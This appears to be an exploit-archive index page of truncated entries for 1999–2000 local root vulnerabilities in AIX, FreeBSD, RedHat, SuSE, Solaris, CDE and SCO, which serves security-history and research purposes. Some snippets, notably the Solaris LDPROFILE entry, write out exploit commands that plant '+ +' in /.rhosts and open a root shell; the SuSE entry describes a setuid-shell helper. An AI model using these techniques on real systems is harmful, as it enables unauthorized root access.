CVE-1999-0092

Various vulnerabilities in the AIX portmir command allows local users to obtain root access...

FreeBSD-SA-00:02.procfs

-----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-00:01 Security Advisory FreeBSD, Inc. Topic: Old procfs hole incompletely filled Category: core Module: make Announced: 2000-01-24 Affects: All versions before the correctio...

Mandrake 6.x / RedHat 6.x / Turbolinux 3.5 b2/4.x/6.0.2 userhelper/PAM - Path (1)

Mandrake 6.0/6.1,RedHat 6.0/6.1,Turbolinux 3.5 b2/4.2/4.4/6.0.2 userhelper/PAM Path Vulnerability 1 source: https://www.securityfocus.com/bid/913/info Because of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both...

IBM Network Station Manager 2.0 R1 - Race Condition

// source: https://www.securityfocus.com/bid/900/info IBM's Network Station Manager is a client/server application which facilitates management for IBM Network Stations. It is possible to locally gain root priviliges on hosts running the NetStation daemon. NetStation which runs as root creates...

FreeBSD 3.3 - gdc Local Buffer Overflow

FreeBSD 3.3 - gdc Local Buffer Overflow // source: https://www.securityfocus.com/bid/834/info There is a buffer overflow vulnerability known to be present in the version of gdc shipped with the 3.3-RELEASE version of FreeBSD. By default, only users in group wheel have execute access to gdc. The...

FreeBSD 3.3 - 'gdc' Local Buffer Overflow

// source: https://www.securityfocus.com/bid/834/info There is a buffer overflow vulnerability known to be present in the version of gdc shipped with the 3.3-RELEASE version of FreeBSD. By default, only users in group wheel have execute access to gdc. The overflow occurs when the argument passed...

RH6_rpmmail_exploit.txt

Greetings, A vulnerability exists in the rpmmail package distributed on the Red Hat 6.0 Extra Applications CD. The potential compromise for this bug could be remote or local root or simply remote command execution as "nobody" or similar, depending on your system configuration. By sending a...

solaris_root_exploit.txt

works on solaris 2.6 sparc anyway... ! /bin/ksh LDPROFILE local root exploit for solaris [email protected] 19990922 umask 000 ln -s /.rhosts /var/tmp/ps.profile export LDPROFILE=/usr/bin/ps /usr/bin/ps echo + + /.rhosts rsh -l root localhost csh -i -- 1024/D9C69DF9 steve mynott...

SuSE_root_exploit.txt

nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2 exploits Arkiea's Knox backup package. gcc -o knox knox.c ./knox NOTE: you MUST have void mainsetuidgeteuid; system"/bin/bash"; compiled in /tmp/ui for this to work. To exploit rnavc, simply change the execl call to...

dtaction.digital.unix.vuln.txt

Zack Hubert [email protected] Sent: Thursday, September 16, 1999 12:39 PM Subject: Vulnerability in dtaction on Digital Unix I have verified that the dtaction vulnerability in CDE can be exploited for local root compromise on Digital Unix systems. Background -------------- This is a followup to th...

suse6.2pbpg.txt

Brock Tellier [email protected] Sent: Thursday, September 16, 1999 5:06 PM Subject: Two SuSE 6.2 local root exploits Greetings, /usr/bin/pb and /usr/bin/pg, suid root by default on SuSE 6.2, allow any user to read any file on the system as shown: susebox:/root ls -la /usr/bin/pb uname -rwsr-xr-...

Knox Arkeia 4.0 Backup - Local Overflow

/ source: https://www.securityfocus.com/bid/661/info Knox Software Arkeia 4.0 Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are part of the Knox Software Arkiea...

freebsd_root_exploit.txt

Subject: FreeBSD and other BSDs? local root explot To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 / c 1999 babcia padlina ltd. bug in ftsprint function allows to overwrite any file in system, when running /etc/security script executed from 'daily' scripts. affected...

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow // source: https://www.securityfocus.com/bid/651/info Under systems that allow the user to change his GECOS field from the password file and do not limit its length cfingerd is vulnerable to a local root or nobody buffer overflow. By setting a...

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow

// source: https://www.securityfocus.com/bid/651/info Under systems that allow the user to change his GECOS field from the password file and do not limit its length cfingerd is vulnerable to a local root or nobody buffer overflow. By setting a carefully designed GECOS field it is possible to...

dtspcd_vuln.txt

Subject: Vulnerability in dtspcd To: [email protected] Hello, I discovered the following security problem in dtspcd, part of CDE: Description ----------- The CDE subprocess daemon /usr/dt/bin/dtspcd contains an insufficient check on client credentials. Impact ------ The insufficient check...

dtaction_vuln.txt

Subject: Vulnerability in dtaction To: [email protected] Hello, I discovered the following security problem in dtaction, part of CDE: Description ----------- /usr/dt/bin/dtaction contains a buffer overflow when a username of more than 1024 bytes is supplied as an argument. Impact ------ T...

dtsession_vuln.txt

Subject: Vulnerability in dtsession To: [email protected] Hello, I discovered the following security problem in dtsession actually in libtt.so, part of CDE: Description ----------- The session manager dtsession contains an overflow vulnerability when parsing the environment variable...

SCO_lpr_vuln.txt

Subject: SCO 5.0.5 lpr local root exploit To: [email protected] Greetings, There is a hole in SCO 5.0.5, probably 5.0.x, /usr/bin/lpr. Or more accurately, /usr/lpd/remote/lp, which lpr execs and passes your command line args on to. This means that while /usr/bin/lpr is sgid lp, we'll stil...

Linux_suse_exploits.txt

Subject: Two SuSE 6.2 local root exploits To: [email protected] Greetings, /usr/bin/pb and /usr/bin/pg, suid root by default on SuSE 6.2, allow any user to read any file on the system as shown: susebox:/root ls -la /usr/bin/pb uname -rwsr-xr-x 1 root root 23544 Jul 22 20:07 /usr/bin/pb...